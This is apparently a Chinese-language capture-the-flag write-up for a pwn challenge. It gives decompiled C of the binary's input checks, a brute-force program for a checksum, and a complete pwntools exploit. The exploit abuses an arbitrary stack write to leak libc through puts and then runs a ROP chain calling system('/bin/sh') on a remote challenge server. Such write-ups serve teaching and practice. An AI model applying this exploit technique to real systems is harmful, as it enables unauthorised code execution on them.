老大的帽儿。题目分3部分,第1部分要求输入4个字节这4个字节经过运算得35
__int64 __fastcall sub_4007D1(__int64 a1, int a2)
{
int v3; // [rsp+18h] [rbp-8h]
int i; // [rsp+1Ch] [rbp-4h]
v3 = 0;
for ( i = 1; i < a2; ++i )
{
printf("v[i] is %d\n", (unsigned int)*(char *)(i + a1));
v3 = ((*(char *)(i + a1) >> 4) + 4 * v3) ^ (*(char *)(i + a1) << 10);
}
return v3 % 47 + (v3 % 47 < 0 ? 0x2F : 0); // =35
}
第2部分要求至少5字节,这些和得 543372146
__int64 __fastcall sub_4006C6(int a1)
{
__int64 result; // rax
unsigned int buf; // [rsp+10h] [rbp-20h] BYREF
char v3; // [rsp+14h] [rbp-1Ch]
unsigned int v4; // [rsp+1Ch] [rbp-14h]
int v5; // [rsp+20h] [rbp-10h]
int v6; // [rsp+24h] [rbp-Ch]
unsigned int v7; // [rsp+28h] [rbp-8h]
unsigned int i; // [rsp+2Ch] [rbp-4h]
v7 = 0;
buf = 0;
v3 = 0;
v6 = 0;
v5 = 0;
puts("How many numbers do you have?");
v6 = read(0, &buf, a1);
if ( v6 == a1 )
{
v5 = buf;
printf("m_num is %d\n", buf);
if ( v5 > 4 )
{
for ( i = 0; (int)i < v5; ++i )
{
printf("the number %d is: \n", i);
v4 = 0;
v6 = read(0, &buf, a1);
if ( v6 == a1 )
{
v4 = buf;
printf("temp_num %d is %d\n", i, buf);
v7 += v4;
}
}
}
result = v7;
}
else
{
puts("the length should be 4 bytes");
result = 0LL;
}
return result;
}
然后两个数相加为负数(但第1次输入不能是负数),验证通过不可以输入不限量偏移和字节,也就是覆盖ret那块地。
__int64 __fastcall main(int a1, char **a2, char **a3)
{
char v4; // [rsp+7h] [rbp-39h] BYREF
int v5; // [rsp+8h] [rbp-38h] BYREF
int v6; // [rsp+Ch] [rbp-34h] BYREF
char v7[8]; // [rsp+10h] [rbp-30h] BYREF
int v8; // [rsp+18h] [rbp-28h]
int v9; // [rsp+1Ch] [rbp-24h]
void *buf; // [rsp+20h] [rbp-20h]
int v11; // [rsp+28h] [rbp-18h]
int v12; // [rsp+2Ch] [rbp-14h]
int v13; // [rsp+30h] [rbp-10h]
unsigned int v14; // [rsp+34h] [rbp-Ch]
unsigned int v15; // [rsp+38h] [rbp-8h]
int i; // [rsp+3Ch] [rbp-4h]
v15 = 4;
v14 = 0;
v13 = 0;
v11 = 543372146; // "r3c "
qmemcpy(v7, "abcde", 5);
buf = &v7[1];
v12 = *(_DWORD *)&v7[1];
alarm(0x78u);
setbuf(stdout, 0LL);
puts("Please set arrary number: ");
v14 = read(0, buf, (int)v15);
printf("len is %d\n", v14);
if ( v14 != v15 )
{
puts("the x length should be 4 Bytes!");
exit(0);
}
v12 = *(_DWORD *)buf;
v13 = sub_4007D1((__int64)v7, 5); // 6,1,123,124
if ( v13 != 35 )
{
puts("You get the wrong key!");
exit(0);
}
if ( (unsigned int)sub_4006C6(v15) == v11 ) // 5:543372146,0,0,0,0
{
v12 += v11;
if ( v12 > 4 )
{
printf("no!");
}
else
{
v6 = 0;
puts("How many positions you want to modify?");
v14 = read(0, &v6, (int)v15);
if ( v14 == v15 )
{
for ( i = 0; i < v6; ++i )
{
v9 = 0;
v8 = 0;
v5 = 0;
v4 = 0;
puts("Which position you want to modify?");
v9 = read(0, &v5, (int)v15);
puts("What content you want to write in?");
v8 = read(0, &v4, 1uLL);
if ( v9 == v15 && v8 == 1 )
{
v7[v5] = v4;
printf("str_pos is %c\n", (unsigned int)v4);
}
}
}
printf("hello!");
}
}
return 0LL;
}
第1块数用程序爆一下,找最后一个是接近负数127的:6,1,123,124
#include <stdio.h>
#include <stdlib.h>
int main()
{
int v3;
v3=0;
for(int i=0;i<256;i++)for(int j=0;j<256;j++)for(int k=0;k<256;k++)for(int l=0;l<256;l++){
v3 = 0;
v3 = ((i >> 4) + 4 * v3) ^ (i << 10);
v3 = ((j >> 4) + 4 * v3) ^ (j << 10);
v3 = ((k >> 4) + 4 * v3) ^ (k << 10);
v3 = ((l >> 4) + 4 * v3) ^ (l << 10);
if(v3 == 35)printf("%d,%d,%d,%d\n", i, j, k, l);
}
}
第2块就不用说了,随意,我这里用:543372146,0,0,0,0
后边就是puts(got.puts),start得到libc后再重来一遍再到这输入system(bin/sh)
完整exp:
from pwn import *
elf = ELF('./pwn')
libc_elf = ELF('../buuoj_2.27_amd64/libc-2.27.so')
one = [0x4f2c5,0x4f322,0xe569f,0xe5858,0xe585f,0xe5863,0x10a398,0x10a38c]
libc_start_main_ret = 0x21b97
def connect(local=1):
global p
if local == 1:
p = process('./pwn')
else:
p = remote('node4.buuoj.cn', 25269)
pop_rdi = 0x0000000000400b13 # pop rdi ; ret
offset = 0x38
start_addr = 0x4005d0
context(arch='amd64', log_level='debug')
def pwn():
p.sendafter(b"Please set arrary number: \n", bytes([6,1,123,124]))
p.sendafter(b'How many numbers do you have?\n', p32(5))
for i in [543372146,0,0,0,0]:
p.sendafter(b' is: \n', p32(i))
payload = flat(pop_rdi, elf.got['puts'], elf.plt['puts'], start_addr)
p.sendafter(b"How many positions you want to modify?\n", p32(len(payload)))
for i,v in enumerate(payload):
p.sendafter(b"Which position you want to modify?\n", p32(offset+i))
p.sendafter(b"What content you want to write in?\n", p8(v))
libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - libc_elf.sym['puts']
libc_elf.address = libc_base
one_gadget= libc_base + one[0]
print('libc:', hex(libc_base))
#copy
p.sendafter(b"Please set arrary number: \n", bytes([6,1,123,124]))
p.sendafter(b'How many numbers do you have?\n', p32(5))
for i in [543372146,0,0,0,0]:
p.sendafter(b' is: \n', p32(i))
payload = flat(pop_rdi+1, pop_rdi, next(libc_elf.search(b'/bin/sh')), libc_elf.sym['system'])
p.sendafter(b"How many positions you want to modify?\n", p32(len(payload)))
for i,v in enumerate(payload):
p.sendafter(b"Which position you want to modify?\n", p32(offset+i))
p.sendafter(b"What content you want to write in?\n", p8(v))
p.sendline(b'cat /flag')
p.interactive()
connect(0)
pwn()